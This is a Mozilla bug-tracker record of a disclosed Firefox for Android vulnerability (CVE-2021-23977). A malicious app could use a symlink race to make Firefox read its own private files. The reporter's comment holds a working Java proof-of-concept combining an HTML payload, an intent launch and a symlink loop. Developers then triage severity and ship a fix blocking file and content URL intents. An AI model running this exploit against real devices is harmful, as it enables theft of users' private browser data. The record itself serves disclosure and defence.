Closed Bug 1684761 (CVE-2021-23977) Opened 3 years ago Closed 3 years ago

Firefox for Android - Theft of sensitive data

Categories

(Fenix :: General, defect)

Product:
Fenix
Component:
General
Platform:
Unspecified
Android
Type:
defect

Tracking

(firefox84 wontfix, firefox85 wontfix, firefox86 fixed)

Status:
RESOLVED FIXED
Tracking Flags:
Tracking Status
firefox84 --- wontfix
firefox85 --- wontfix
firefox86 --- fixed

People

(Reporter: gnehsoah, Assigned: agi, NeedInfo)

References

(
URL
)

Details

(Keywords: sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main86+])

Attachments

(4 files)

app-debug.apk
1.56 MB, application/vnd.android.package-archive
Details
PoC_SourceCode.zip
140.49 KB, application/zip
Details
Bug 1684761 - Pass null principal for external loads.
48 bytes, text/x-phabricator-request
Details | Review
advisory.txt
375 bytes, text/plain
Details
Attached file app-debug.apk —

There is a TOCTOU vulnerability that can lead to the theft of users' private files (such as cookies databases) in /data/data/org.mozilla.firefox/ .

PoC:

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);


        try {
            File payload = new File(getDataDir(), "test.html");
            payload.delete();
            payload.createNewFile();
            payload.setReadable(true, false);
            payload.setWritable(true, false);
            payload.setExecutable(true, false);
            FileOutputStream fos = null;
            fos = new FileOutputStream(payload);
            String evilhtml = "<html>\n" +
                    "<h1 id=\"try\"></h1>\n" +
                    "<script>\n" +
                    "let count = 1;\n" +
                    "let timer = setInterval(()=>{\n" +
                    "    document.getElementById(\"try\").innerHTML = \"try \" + count;\n" +
                    "    count++;\n" +
                    "    let xhr = new XMLHttpRequest();\n" +
                    "    try {\n" +
                    "        xhr.open(\"GET\", location.href, false);\n" +
                    "        xhr.send();\n" +
                    "        if(xhr.responseText.indexOf(\"#evilhtml#\") == -1) {\n" +
                    "            alert(xhr.responseText);\n" +
                    "            clearInterval(timer);\n" +
                    "        }\n" +
                    "    } catch(error){\n" +
                    "        //console.log(error);\n" +
                    "    }\n" +
                    "\n" +
                    "}, 100)\n" +
                    "</script>\n" +
                    "</html>";
            fos.write(evilhtml.getBytes());
            fos.close();

            Thread.sleep(1000); //adjust millis

            Intent intent = new Intent();
            intent.setComponent(new ComponentName("org.mozilla.firefox", "org.mozilla.gecko.LauncherActivity"));
            intent.setAction(Intent.ACTION_VIEW);
            intent.setData(Uri.fromFile(payload));
            startActivity(intent);

        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }


        try {
            Thread.sleep(5000); //adjust millis
        } catch (InterruptedException e) {
            e.printStackTrace();
        }


        Thread createFileThread = new Thread() {
            @Override
            public void run() {
                while(running) {

                    try {
                        File payload = new File(getDataDir(), "test.html");
                        payload.delete();
                        payload.createNewFile();
                        Runtime.getRuntime().exec("ln -sf /data/data/org.mozilla.firefox/shared_prefs/org.mozilla.firefox_preferences.xml "
                                + payload.getAbsolutePath()).waitFor();
                        payload.setReadable(true, false);
                        payload.setWritable(true, false);
                        payload.setExecutable(true, false);
                    }
                    catch(Exception e) {
                        // should be never thrown
                        e.printStackTrace();
                    }



                }
            }
        };

        createFileThread.start();


    }

Firefox Version: 84.1.2
Android Version: 9

Steps to reproduce:

  1. Open the PoC app. (app-debug.apk)
  2. It will theft the private file of firefox. (/data/data/org.mozilla.firefox/shared_prefs/org.mozilla.firefox_preferences.xml)

Screen record:
https://drive.google.com/file/d/1rdvHF_i9tFuxLLilcNCBVJKcxnIz3L8y/view?usp=sharing

Flags: sec-bounty?
Attached file PoC_SourceCode.zip —
Group: firefox-core-security → mobile-core-security
Type: task → defect
Component: Security → Security: Android
Product: Firefox → Fenix

Christian has done work with intents in the past. Please evaluate the risk here.

Flags: needinfo?(csadilek)

I think the summary here is:

  • Malicious app creates a symlink from $DATADIRECTORY/test.html to /data/data/org.mozilla.firefox/shared_prefs/org.mozilla.firefox_preferences.xml
  • Malicious app sets file permissions so that any app can read $DATADIRECTORY/test.html
  • Malicious app asks Firefox to open test.html, which is linked to ...preferences.xml and thus that file loads

What we see is Firefox opening a file that it owns. It does look sketchy but it works because Firefox can read it's own org.mozilla.firefox_preferences.xml.

We do not see the 'stolen' file leave Firefox. Is that something that is possible?

If we have code that prevents files from /data/data/org.mozilla.firefox/ to be loaded, do have to amend that code with something to resolve symlinks?

Looping in Agi because I think we dealt with something very similar in Fennec that was also around symlinks. I can't find the bug for that one though - Kevin do you know?

Flags: needinfo?(agi)

Stefan, I think the bug you're thinking about is Bug 1647078

Flags: needinfo?(agi)

we should probably consider forbidding any files from loading as content html from the data dir in GeckoView, that's a big footgun otherwise.

Where would we make this change? Would this be in GeckoView or Android-Components?

Flags: needinfo?(agi)

Christian has done work with intents in the past. Please evaluate the risk here.

I'd recommend sec-moderate in line with https://bugs.chromium.org/p/chromium/issues/detail?id=144866 as it requires a malicious app to be installed.

Where would we make this change? Would this be in GeckoView or Android-Components?

I think we should fix this in both GeckoView and Fenix/A-C:

  • In Fenix as we don't support loading file:// URLs and therefore should also not support them via intents
  • In GV as we might want to support it in the future or in other GV apps and should prevent loading internal files as content
Flags: needinfo?(csadilek)

Christian how do you feel about shipping this in 85? We still have three weeks of Beta ahead of us, is that enough time?

Because this requires a malicious app on the side, I would suggest to not uplift to 84.

Flags: needinfo?(csadilek)

Christian how do you feel about shipping this in 85?

Fenix/A-C change should be fine but let's decide once the fix and reviews are up tomorrow?

Flags: needinfo?(csadilek)

Christian responded, but yeah we should disallow loading data paths in GV and disallow loading a file intent in Fenix/AC.

Flags: needinfo?(agi)

I was wrong about Fenix not supporting file:// URLs when loaded via the toolbar. Despite all issues being closed as "won't fix", loading a local file works fine. I just successfully loaded an image from file://storage/... in Fenix release (84.1.2).

So the GV solution above would be sufficient, but the Fenix/A-C one would only cover intents.

Agi, Sebastian and I discussed this some more:

  • A short-term fix in GV to disallow loading app-internal files isn't realistic.
  • Loading file:// URLs in Fenix works by accident and is not officially supported.

We decided to work on a short-term fix in A-C to prevent loading file:// and content:// URLs. A bigger discussion will be needed if we ever want to support file:// URLs.

Assignee: nobody → agi

A-C/Fenix fix landed in Nightly (210107 17:00).

https://hg.mozilla.org/mozilla-central/rev/d0c2b70d78ad

Please nominate for Beta approval when you get a chance.

Status: UNCONFIRMED → RESOLVED
Closed: 3 years ago
status-firefox84: --- → wontfix
status-firefox85: --- → affected
status-firefox86: --- → fixed
Flags: needinfo?(agi)
Resolution: --- → FIXED
Group: mobile-core-security → core-security-release

I think uplifting the A-C fix to A-C 70 (for Fenix 85) is sufficient. We don't necessarily need the GV fix uplifted. This would also cover 1659035.

Yeah the fix in AC should be enough, the GV fix is there so that if we ever allow more protocols in the URL bar the intent case is still covered.

Flags: needinfo?(agi)

What's in the shared_prefs directory? Is that fixed "Firefox" generated data or actual user settings? On Desktop and Fennec we used randomized profile names to prevent this kind of blind poking into user sensitive data like cookies and localstorage, etc.

Flags: needinfo?(agi)

It depends on the app, but it would normally contain UI preferences like "theme" , default font size, default tracking protection options and the like.

Redirecting to Stefan in case Fenix does something unexpected with shared preferences.

Flags: needinfo?(agi)
Flags: needinfo?(sarentz)

The profile path is random, but the attacker can get it by reading the /data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini file.

https://bugzilla.mozilla.org/show_bug.cgi?id=1647078

(In reply to gnehsoah from comment #21)

The profile path is random, but the attacker can get it by reading the /data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini file.

https://bugzilla.mozilla.org/show_bug.cgi?id=1647078

But that's not within the shared_prefs folder, right?

Flags: needinfo?(gnehsoah)

Maybe I didn’t make it clear, this vulnerability can read files in the /data/data/org.mozilla.firefox/ directory, including /data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini files, not limited to the shared_prefs folder.

Flags: needinfo?(gnehsoah)

(In reply to Agi Sferro | :agi | ni? for questions | ⏰ PST | he/him from comment #20)

Redirecting to Stefan in case Fenix does something unexpected with shared preferences.

This is what I have in /data/data/org.mozilla.firefox/shared_prefs:

-rw-rw---- 1 u0_a195 u0_a195  154 2020-10-21 14:34 MOZAC_GECKO_ENGINE.xml
-rw-rw---- 1 u0_a195 u0_a195 5673 2021-01-08 11:04 __leanplum__.xml
-rw-rw---- 1 u0_a195 u0_a195  352 2020-10-21 14:34 __leanplum_push__.xml
-rw-rw---- 1 u0_a195 u0_a195  122 2020-10-21 14:34 adjust_preferences.xml
-rw-rw---- 1 u0_a195 u0_a195  122 2021-01-08 11:04 androidx.work.util.id.xml
-rw-rw---- 1 u0_a195 u0_a195 2519 2021-01-08 10:34 com.google.android.gms.appid.xml
-rw-rw---- 1 u0_a195 u0_a195   65 2020-10-21 14:35 core_prefs_kp_post_m.xml
-rw-rw---- 1 u0_a195 u0_a195  173 2020-10-21 14:35 core_prefs_kp_pre_m.xml
-rw-rw---- 1 u0_a195 u0_a195  553 2021-01-08 10:43 fenix-search-engine-provider.xml
-rw-rw---- 1 u0_a195 u0_a195  129 2020-10-21 14:35 fenix.onboarding.xml
-rw-rw---- 1 u0_a195 u0_a195  640 2021-01-08 10:57 fenix_preferences.xml
-rw-rw---- 1 u0_a195 u0_a195   65 2020-10-21 14:34 fxaStateAC_kp_pre_m.xml
-rw-rw---- 1 u0_a195 u0_a195  162 2021-01-08 10:34 mozac.service.location.region.xml
-rw-rw---- 1 u0_a195 u0_a195  161 2020-10-21 14:34 mozac_feature_accounts_push.xml
-rw-rw---- 1 u0_a195 u0_a195  329 2021-01-08 10:34 mozac_feature_push.xml
-rw-rw---- 1 u0_a195 u0_a195  206 2021-01-08 10:34 mozilla.telemetry.glean.scheduler.MetricsPingScheduler.xml
-rw-rw---- 1 u0_a195 u0_a195  116 2020-10-21 14:35 org.mozilla.fenix.components.metrics.ActivationPing.prefs.xml
-rw-rw---- 1 u0_a195 u0_a195  116 2020-10-21 14:35 org.mozilla.fenix.components.metrics.FirstSessionPing.prefs.xml
-rw-rw---- 1 u0_a195 u0_a195  857 2021-01-08 10:45 org.mozilla.firefox_preferences.xml

I think some of those files have things that we don't like to be easily pulled out of the app. I see a bunch of things like:

  • FCM Push Token
  • fxa_push_scope
  • Some Leanplum data
  • fxaStateAC_kp_pre_m.xml

I don't know how sensitive any of this is. If shared preferences are considered unsafe then we can start an effort to move things to a different place. But for this I would need advice from someone more familiar with Android details/security.

Flags: needinfo?(sarentz)

I would like some more feedback on this from an Android expert, but I think Shared Preferences are fine except in two cases:

  • Having root access to the device (which IMO is game over, and requires some serious steps to get there)
  • Application errors that accidentally expose shared preferences

However, I think as a best practice, Google is recommending that Shared Preferences are encrypted through androidx.security:security-crypto, which has a EncryptedSharedPreferences. As with all Android on-device crypto, whether this improves things probably greatly depends on the Android version/flavor and Device.

Who can weigh in? Personally I like hardening our data storage to make accidental file exposure less of a risk.

Asking Grisha, Sebastian and Christian to give this a thought and leave some comments here.

Flags: needinfo?(s.kaspari)
Flags: needinfo?(gkruglov)
Flags: needinfo?(csadilek)
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage]

Christian told me via Slack that exploiting this bug would include private data. Bumping to sec-high.

Keywords: sec-moderate → sec-high

After a bit of a discussion, we are re-considering it as sec-moderate.
The bug violates the SOP and allows reading sensitive data, but it still requires a malicious app to be present on the user's device.

Flags: sec-bounty? → sec-bounty+
Keywords: sec-high → sec-moderate

Clearing NI. Enabling file:// urls in Fenix depends on Bug 1684947.

Flags: needinfo?(csadilek)
Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main86+]
Alias: CVE-2021-23977
Group: core-security-release
Flags: needinfo?(s.kaspari)
Component: Security: Android → General
OS: Unspecified → Android
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: